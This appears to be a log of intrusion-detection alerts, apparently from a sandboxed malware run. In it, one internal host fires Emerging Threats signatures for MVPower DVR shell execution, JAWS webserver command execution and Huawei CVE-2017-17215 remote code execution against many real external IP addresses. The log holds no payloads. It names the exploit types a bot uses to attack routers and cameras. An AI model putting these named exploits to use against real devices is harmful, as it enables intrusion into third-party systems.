192.168.2.2352.216.42.2137628802025883 01/02/24-06:25:15.620032	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37628	80	192.168.2.23	52.216.42.21
192.168.2.2323.3.57.12446500802030092 01/02/24-06:25:22.066559	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46500	80	192.168.2.23	23.3.57.124
192.168.2.2318.167.130.6444126802030092 01/02/24-06:24:24.131709	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44126	80	192.168.2.23	18.167.130.64
192.168.2.235.217.213.3240972802030092 01/02/24-06:25:14.761574	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40972	80	192.168.2.23	5.217.213.32
192.168.2.23106.14.41.17435930802025883 01/02/24-06:24:18.753229	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35930	80	192.168.2.23	106.14.41.174
192.168.2.2354.219.136.3735172802030092 01/02/24-06:25:18.698984	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35172	80	192.168.2.23	54.219.136.37
192.168.2.23172.121.20.14551014802025883 01/02/24-06:24:24.984846	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51014	80	192.168.2.23	172.121.20.145
192.168.2.2323.231.150.12851852802030092 01/02/24-06:24:24.125011	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51852	80	192.168.2.23	23.231.150.128
192.168.2.23217.23.144.15954616802025883 01/02/24-06:25:02.033209	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54616	80	192.168.2.23	217.23.144.159
192.168.2.23143.208.250.1143668802030092 01/02/24-06:25:10.207227	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43668	80	192.168.2.23	143.208.250.11
192.168.2.2313.236.88.18038176802030092 01/02/24-06:25:14.749773	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38176	80	192.168.2.23	13.236.88.180
192.168.2.2387.123.31.16541088802030092 01/02/24-06:24:24.186617	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41088	80	192.168.2.23	87.123.31.165
192.168.2.2323.205.246.4848598802025883 01/02/24-06:24:55.255106	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48598	80	192.168.2.23	23.205.246.48
192.168.2.23173.61.119.7736382802030092 01/02/24-06:23:51.529010	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36382	80	192.168.2.23	173.61.119.77
192.168.2.23201.229.167.15941366802025883 01/02/24-06:24:19.178132	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41366	80	192.168.2.23	201.229.167.159
192.168.2.2391.242.215.20436660802025883 01/02/24-06:24:18.756077	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36660	80	192.168.2.23	91.242.215.204
192.168.2.2334.224.189.17652658802025883 01/02/24-06:25:00.915017	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52658	80	192.168.2.23	34.224.189.176
192.168.2.2349.233.248.20255454802025883 01/02/24-06:25:29.740902	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55454	80	192.168.2.23	49.233.248.202
192.168.2.23104.91.11.15157840802030092 01/02/24-06:23:57.977771	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57840	80	192.168.2.23	104.91.11.151
192.168.2.2362.138.75.22955822802030092 01/02/24-06:25:35.265496	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55822	80	192.168.2.23	62.138.75.229
192.168.2.23185.2.14.1251600802030092 01/02/24-06:24:35.360260	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51600	80	192.168.2.23	185.2.14.12
192.168.2.2334.107.164.6038972802025883 01/02/24-06:24:27.400912	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38972	80	192.168.2.23	34.107.164.60
192.168.2.2380.15.65.10050756802025883 01/02/24-06:24:55.923121	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50756	80	192.168.2.23	80.15.65.100
192.168.2.23195.62.126.5460000802025883 01/02/24-06:24:11.155988	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60000	80	192.168.2.23	195.62.126.54
192.168.2.2320.70.223.6440344802030092 01/02/24-06:24:31.051081	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40344	80	192.168.2.23	20.70.223.64
192.168.2.2341.0.84.3441028372152829579 01/02/24-06:24:06.080918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41028	37215	192.168.2.23	41.0.84.34
192.168.2.2318.214.78.16148682802025883 01/02/24-06:24:56.009741	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48682	80	192.168.2.23	18.214.78.161
192.168.2.23218.35.171.23047210802030092 01/02/24-06:24:23.810086	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47210	80	192.168.2.23	218.35.171.230
192.168.2.2335.160.3.14954360802030092 01/02/24-06:24:40.650599	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54360	80	192.168.2.23	35.160.3.149
192.168.2.2345.32.70.4540790802025883 01/02/24-06:24:45.911026	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40790	80	192.168.2.23	45.32.70.45
192.168.2.2324.236.125.8436362802030092 01/02/24-06:23:50.012962	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36362	80	192.168.2.23	24.236.125.84
192.168.2.2335.211.213.10757532802025883 01/02/24-06:25:37.947175	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57532	80	192.168.2.23	35.211.213.107
192.168.2.2374.217.134.1157808802025883 01/02/24-06:25:44.030944	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57808	80	192.168.2.23	74.217.134.11
192.168.2.2313.250.65.9258572802030092 01/02/24-06:25:21.541317	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58572	80	192.168.2.23	13.250.65.92
192.168.2.2362.254.208.1058096802030092 01/02/24-06:24:13.764312	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58096	80	192.168.2.23	62.254.208.10
192.168.2.2352.222.57.8340002802025883 01/02/24-06:24:17.613377	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40002	80	192.168.2.23	52.222.57.83
192.168.2.23198.44.248.10442602802030092 01/02/24-06:24:27.798165	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42602	80	192.168.2.23	198.44.248.104
192.168.2.2347.90.200.13459390802030092 01/02/24-06:24:08.717627	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59390	80	192.168.2.23	47.90.200.134
192.168.2.23170.130.22.25444286802025883 01/02/24-06:24:08.505355	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44286	80	192.168.2.23	170.130.22.254
192.168.2.23106.15.76.4851782802025883 01/02/24-06:24:31.040036	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51782	80	192.168.2.23	106.15.76.48
192.168.2.2318.67.255.7133036802030092 01/02/24-06:24:42.963614	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33036	80	192.168.2.23	18.67.255.71
192.168.2.23156.241.14.15348512372152829579 01/02/24-06:23:49.692230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48512	37215	192.168.2.23	156.241.14.153
192.168.2.2350.228.64.4932936802030092 01/02/24-06:25:04.956264	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32936	80	192.168.2.23	50.228.64.49
192.168.2.23130.211.15.9540968802030092 01/02/24-06:23:49.492483	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40968	80	192.168.2.23	130.211.15.95
192.168.2.232.135.71.17637678802030092 01/02/24-06:24:11.112670	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37678	80	192.168.2.23	2.135.71.176
192.168.2.2352.188.170.14760094802030092 01/02/24-06:24:56.015920	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60094	80	192.168.2.23	52.188.170.147
192.168.2.2352.85.133.3147266802030092 01/02/24-06:24:51.888604	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47266	80	192.168.2.23	52.85.133.31
192.168.2.23154.218.175.19054758802030092 01/02/24-06:25:06.948021	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54758	80	192.168.2.23	154.218.175.190
192.168.2.2384.247.28.15551342802025883 01/02/24-06:24:08.653606	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51342	80	192.168.2.23	84.247.28.155
192.168.2.2362.210.48.11336542802025883 01/02/24-06:25:31.316043	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36542	80	192.168.2.23	62.210.48.113
192.168.2.2323.216.114.4945924802025883 01/02/24-06:25:10.067215	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45924	80	192.168.2.23	23.216.114.49
192.168.2.2368.68.1.22036644802025883 01/02/24-06:25:00.920491	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36644	80	192.168.2.23	68.68.1.220
192.168.2.2345.169.136.260250802030092 01/02/24-06:24:37.969433	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60250	80	192.168.2.23	45.169.136.2
192.168.2.2343.225.210.1847296802025883 01/02/24-06:24:55.316812	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47296	80	192.168.2.23	43.225.210.18
192.168.2.23185.114.245.25152468802030092 01/02/24-06:25:19.107884	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52468	80	192.168.2.23	185.114.245.251
192.168.2.232.136.180.9132958802025883 01/02/24-06:24:20.174770	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32958	80	192.168.2.23	2.136.180.91
192.168.2.23208.70.77.18137854802025883 01/02/24-06:24:43.121132	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37854	80	192.168.2.23	208.70.77.181
192.168.2.23156.235.102.23034064372152829579 01/02/24-06:23:48.382924	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34064	37215	192.168.2.23	156.235.102.230
192.168.2.2377.74.207.20352380802025883 01/02/24-06:25:35.073405	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52380	80	192.168.2.23	77.74.207.203
192.168.2.23104.114.164.4947672802030092 01/02/24-06:25:25.169174	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47672	80	192.168.2.23	104.114.164.49
192.168.2.23197.26.81.356728802030092 01/02/24-06:24:49.038851	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56728	80	192.168.2.23	197.26.81.3
192.168.2.2362.202.156.24135188802030092 01/02/24-06:24:17.662475	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35188	80	192.168.2.23	62.202.156.241
192.168.2.23121.4.183.14448996802025883 01/02/24-06:25:19.173099	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48996	80	192.168.2.23	121.4.183.144
192.168.2.2352.35.155.16647130802025883 01/02/24-06:25:42.678669	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47130	80	192.168.2.23	52.35.155.166
192.168.2.2382.165.119.13360268802030092 01/02/24-06:24:19.252681	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60268	80	192.168.2.23	82.165.119.133
192.168.2.2323.37.135.6550062802030092 01/02/24-06:24:03.045010	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50062	80	192.168.2.23	23.37.135.65
192.168.2.23181.206.2.4650076802030092 01/02/24-06:24:03.265616	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50076	80	192.168.2.23	181.206.2.46
192.168.2.2344.215.139.22838962802030092 01/02/24-06:25:42.024128	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38962	80	192.168.2.23	44.215.139.228
192.168.2.23175.126.123.11658590802025883 01/02/24-06:25:04.257669	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58590	80	192.168.2.23	175.126.123.116
192.168.2.2354.179.83.5233844802030092 01/02/24-06:25:04.468216	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33844	80	192.168.2.23	54.179.83.52
192.168.2.2352.24.96.4456028802030092 01/02/24-06:25:04.184391	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56028	80	192.168.2.23	52.24.96.44
192.168.2.23142.93.144.23436246802030092 01/02/24-06:24:36.837939	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36246	80	192.168.2.23	142.93.144.234
192.168.2.23104.75.225.9144926802030092 01/02/24-06:24:58.708367	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44926	80	192.168.2.23	104.75.225.91
192.168.2.23146.71.40.21548486802030092 01/02/24-06:24:05.866440	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48486	80	192.168.2.23	146.71.40.215
192.168.2.2323.231.34.9059060802025883 01/02/24-06:24:27.279281	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59060	80	192.168.2.23	23.231.34.90
192.168.2.23109.168.109.22945120802025883 01/02/24-06:23:56.151964	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45120	80	192.168.2.23	109.168.109.229
192.168.2.23156.235.98.939512372152829579 01/02/24-06:24:15.985357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39512	37215	192.168.2.23	156.235.98.9
192.168.2.2313.244.84.14656714802030092 01/02/24-06:24:09.228401	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56714	80	192.168.2.23	13.244.84.146
192.168.2.23103.141.149.9046528802025883 01/02/24-06:24:19.516603	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46528	80	192.168.2.23	103.141.149.90
192.168.2.23174.71.165.22954816802030092 01/02/24-06:24:51.730581	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54816	80	192.168.2.23	174.71.165.229
192.168.2.23210.136.185.6435820802025883 01/02/24-06:25:42.761377	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35820	80	192.168.2.23	210.136.185.64
192.168.2.23207.60.214.5343892802030092 01/02/24-06:23:58.146252	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43892	80	192.168.2.23	207.60.214.53
192.168.2.2327.54.141.22460562802030092 01/02/24-06:24:30.783293	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60562	80	192.168.2.23	27.54.141.224
192.168.2.23156.254.75.5454612372152835222 01/02/24-06:25:31.710967	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54612	37215	192.168.2.23	156.254.75.54
192.168.2.23185.204.186.16245770802030092 01/02/24-06:24:24.014425	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45770	80	192.168.2.23	185.204.186.162
192.168.2.2381.45.23.21550156802025883 01/02/24-06:25:39.133513	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50156	80	192.168.2.23	81.45.23.215
192.168.2.2345.91.92.17553294802025883 01/02/24-06:25:42.747930	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53294	80	192.168.2.23	45.91.92.175
192.168.2.2352.208.51.24237438802025883 01/02/24-06:24:46.160935	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37438	80	192.168.2.23	52.208.51.242
192.168.2.23157.90.166.540292802025883 01/02/24-06:25:26.148693	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40292	80	192.168.2.23	157.90.166.5
192.168.2.2347.96.31.6043368802025883 01/02/24-06:24:32.931561	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43368	80	192.168.2.23	47.96.31.60
192.168.2.232.189.137.1749444802030092 01/02/24-06:25:04.484177	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49444	80	192.168.2.23	2.189.137.17
192.168.2.2389.218.57.12838636802025883 01/02/24-06:23:50.310617	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38636	80	192.168.2.23	89.218.57.128
192.168.2.23202.43.100.11357888802025883 01/02/24-06:24:43.056570	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57888	80	192.168.2.23	202.43.100.113
192.168.2.23202.75.103.11733286802030092 01/02/24-06:24:31.278952	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33286	80	192.168.2.23	202.75.103.117
192.168.2.2323.209.26.22960854802025883 01/02/24-06:24:32.802584	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60854	80	192.168.2.23	23.209.26.229
192.168.2.23104.24.209.20437990802030092 01/02/24-06:25:29.545650	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37990	80	192.168.2.23	104.24.209.204
192.168.2.2337.97.157.9157446802030092 01/02/24-06:25:34.999588	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57446	80	192.168.2.23	37.97.157.91
192.168.2.2313.52.177.10058232802030092 01/02/24-06:24:00.958032	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58232	80	192.168.2.23	13.52.177.100
192.168.2.2341.111.241.3452770802025883 01/02/24-06:25:30.188511	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52770	80	192.168.2.23	41.111.241.34
192.168.2.23154.37.215.11352664802030092 01/02/24-06:25:06.760411	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52664	80	192.168.2.23	154.37.215.113
192.168.2.2377.223.119.15053212802030092 01/02/24-06:25:25.284668	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53212	80	192.168.2.23	77.223.119.150
192.168.2.23202.88.191.10458160802025883 01/02/24-06:23:59.400873	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58160	80	192.168.2.23	202.88.191.104
192.168.2.2323.217.78.18433170802025883 01/02/24-06:25:04.964747	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33170	80	192.168.2.23	23.217.78.184
192.168.2.23192.126.242.16243294802025883 01/02/24-06:25:09.578837	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43294	80	192.168.2.23	192.126.242.162
192.168.2.2345.15.66.2040310802025883 01/02/24-06:24:05.830727	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40310	80	192.168.2.23	45.15.66.20
192.168.2.23104.73.17.2758458802030092 01/02/24-06:24:01.120240	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58458	80	192.168.2.23	104.73.17.27
192.168.2.23104.79.255.2941640802030092 01/02/24-06:24:05.776321	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41640	80	192.168.2.23	104.79.255.29
192.168.2.2352.218.179.4559110802030092 01/02/24-06:25:34.705547	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59110	80	192.168.2.23	52.218.179.45
192.168.2.2367.160.112.10851240802025883 01/02/24-06:25:15.888424	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51240	80	192.168.2.23	67.160.112.108
192.168.2.23149.57.79.10232814802030092 01/02/24-06:23:51.958904	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32814	80	192.168.2.23	149.57.79.102
192.168.2.23185.79.154.21054452802025883 01/02/24-06:24:58.941620	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54452	80	192.168.2.23	185.79.154.210
192.168.2.2318.140.253.6745590802025883 01/02/24-06:25:35.354970	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45590	80	192.168.2.23	18.140.253.67
192.168.2.23109.109.200.17557970802030092 01/02/24-06:24:01.322259	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57970	80	192.168.2.23	109.109.200.175
192.168.2.2351.210.249.6660948802025883 01/02/24-06:24:52.075605	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60948	80	192.168.2.23	51.210.249.66
192.168.2.2375.187.170.24035348802025883 01/02/24-06:24:30.620216	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35348	80	192.168.2.23	75.187.170.240
192.168.2.23216.172.159.3643926802030092 01/02/24-06:25:37.943407	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43926	80	192.168.2.23	216.172.159.36
192.168.2.23107.149.236.15149944802025883 01/02/24-06:24:54.829093	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49944	80	192.168.2.23	107.149.236.151
192.168.2.2338.55.173.24453040802030092 01/02/24-06:23:51.512013	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53040	80	192.168.2.23	38.55.173.244
192.168.2.2388.151.101.14851274802025883 01/02/24-06:25:35.254797	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51274	80	192.168.2.23	88.151.101.148
192.168.2.23193.46.47.24236186802025883 01/02/24-06:25:30.204860	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36186	80	192.168.2.23	193.46.47.242
192.168.2.23191.96.205.19456586802025883 01/02/24-06:24:13.903880	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56586	80	192.168.2.23	191.96.205.194
192.168.2.2342.237.113.22243184802025883 01/02/24-06:24:52.311736	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43184	80	192.168.2.23	42.237.113.222
192.168.2.2337.32.125.6150126802030092 01/02/24-06:24:18.097501	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50126	80	192.168.2.23	37.32.125.61
192.168.2.23197.26.86.8560062802025883 01/02/24-06:25:19.114868	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60062	80	192.168.2.23	197.26.86.85
192.168.2.2361.221.104.22858714802030092 01/02/24-06:25:43.149492	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58714	80	192.168.2.23	61.221.104.228
192.168.2.23104.25.137.9540366802025883 01/02/24-06:24:34.920245	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40366	80	192.168.2.23	104.25.137.95
192.168.2.2323.57.244.12937714802025883 01/02/24-06:25:07.005656	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37714	80	192.168.2.23	23.57.244.129
192.168.2.23213.29.227.25034468802025883 01/02/24-06:24:19.265733	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34468	80	192.168.2.23	213.29.227.250
192.168.2.2385.126.165.10351920802025883 01/02/24-06:25:29.714738	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51920	80	192.168.2.23	85.126.165.103
192.168.2.23201.192.158.13039898802025883 01/02/24-06:25:34.727412	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39898	80	192.168.2.23	201.192.158.130
192.168.2.23172.245.174.8046628802030092 01/02/24-06:24:17.912872	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46628	80	192.168.2.23	172.245.174.80
192.168.2.23104.230.152.22549862802030092 01/02/24-06:24:23.652013	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49862	80	192.168.2.23	104.230.152.225
192.168.2.23220.137.212.6059920802025883 01/02/24-06:25:15.748234	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59920	80	192.168.2.23	220.137.212.60
192.168.2.2390.79.11.6051570802025883 01/02/24-06:25:21.019509	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51570	80	192.168.2.23	90.79.11.60
192.168.2.23172.67.240.21640034802030092 01/02/24-06:25:29.545694	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40034	80	192.168.2.23	172.67.240.216
192.168.2.23118.99.59.24958056802025883 01/02/24-06:24:31.063069	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58056	80	192.168.2.23	118.99.59.249
192.168.2.23170.130.122.6435776802030092 01/02/24-06:25:42.642200	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35776	80	192.168.2.23	170.130.122.64
192.168.2.23148.72.211.16752086802030092 01/02/24-06:24:45.420651	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52086	80	192.168.2.23	148.72.211.167
192.168.2.2352.1.227.24732976802025883 01/02/24-06:25:31.234449	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32976	80	192.168.2.23	52.1.227.247
192.168.2.23121.128.130.643932802025883 01/02/24-06:24:56.157594	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43932	80	192.168.2.23	121.128.130.6
192.168.2.2334.233.79.10139524802030092 01/02/24-06:24:40.913375	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39524	80	192.168.2.23	34.233.79.101
192.168.2.2399.80.176.12533828802025883 01/02/24-06:25:00.994557	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33828	80	192.168.2.23	99.80.176.125
192.168.2.23104.21.5.8858690802025883 01/02/24-06:24:30.711855	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58690	80	192.168.2.23	104.21.5.88
192.168.2.2351.178.25.2639996802030092 01/02/24-06:25:19.073342	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39996	80	192.168.2.23	51.178.25.26
192.168.2.2335.187.108.16953570802025883 01/02/24-06:25:21.019391	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53570	80	192.168.2.23	35.187.108.169
192.168.2.23176.112.147.6145918802030092 01/02/24-06:24:56.122079	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45918	80	192.168.2.23	176.112.147.61
192.168.2.2335.183.50.13935316802030092 01/02/24-06:25:42.350384	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35316	80	192.168.2.23	35.183.50.139
192.168.2.23211.149.152.3757174802025883 01/02/24-06:25:42.230065	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57174	80	192.168.2.23	211.149.152.37
192.168.2.23104.97.11.2460650802030092 01/02/24-06:25:22.089353	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60650	80	192.168.2.23	104.97.11.24
192.168.2.2337.1.204.6437102802030092 01/02/24-06:25:29.908844	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37102	80	192.168.2.23	37.1.204.64
192.168.2.23156.247.18.9351712372152829579 01/02/24-06:23:49.692291	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51712	37215	192.168.2.23	156.247.18.93
192.168.2.2323.194.37.21755520802030092 01/02/24-06:23:55.440502	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55520	80	192.168.2.23	23.194.37.217
192.168.2.23104.71.83.3248722802025883 01/02/24-06:25:16.196517	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48722	80	192.168.2.23	104.71.83.32
192.168.2.2335.183.139.12937922802030092 01/02/24-06:25:29.610631	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37922	80	192.168.2.23	35.183.139.129
192.168.2.2318.133.47.14241080802030092 01/02/24-06:25:11.803956	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41080	80	192.168.2.23	18.133.47.142
192.168.2.2374.48.170.2654894802030092 01/02/24-06:24:48.887995	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54894	80	192.168.2.23	74.48.170.26
192.168.2.23213.92.76.14950818802025883 01/02/24-06:25:32.164890	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50818	80	192.168.2.23	213.92.76.149
192.168.2.2345.243.32.10952362802025883 01/02/24-06:25:05.266557	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52362	80	192.168.2.23	45.243.32.109
192.168.2.23185.179.157.10256368802025883 01/02/24-06:24:10.926344	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56368	80	192.168.2.23	185.179.157.102
192.168.2.2346.175.16.20649032802030092 01/02/24-06:24:48.996752	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49032	80	192.168.2.23	46.175.16.206
192.168.2.2377.46.139.24443154802030092 01/02/24-06:25:02.038352	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43154	80	192.168.2.23	77.46.139.244
192.168.2.2385.50.165.3759160802030092 01/02/24-06:24:24.106651	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59160	80	192.168.2.23	85.50.165.37
192.168.2.2323.78.13.16036348802030092 01/02/24-06:23:58.964776	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36348	80	192.168.2.23	23.78.13.160
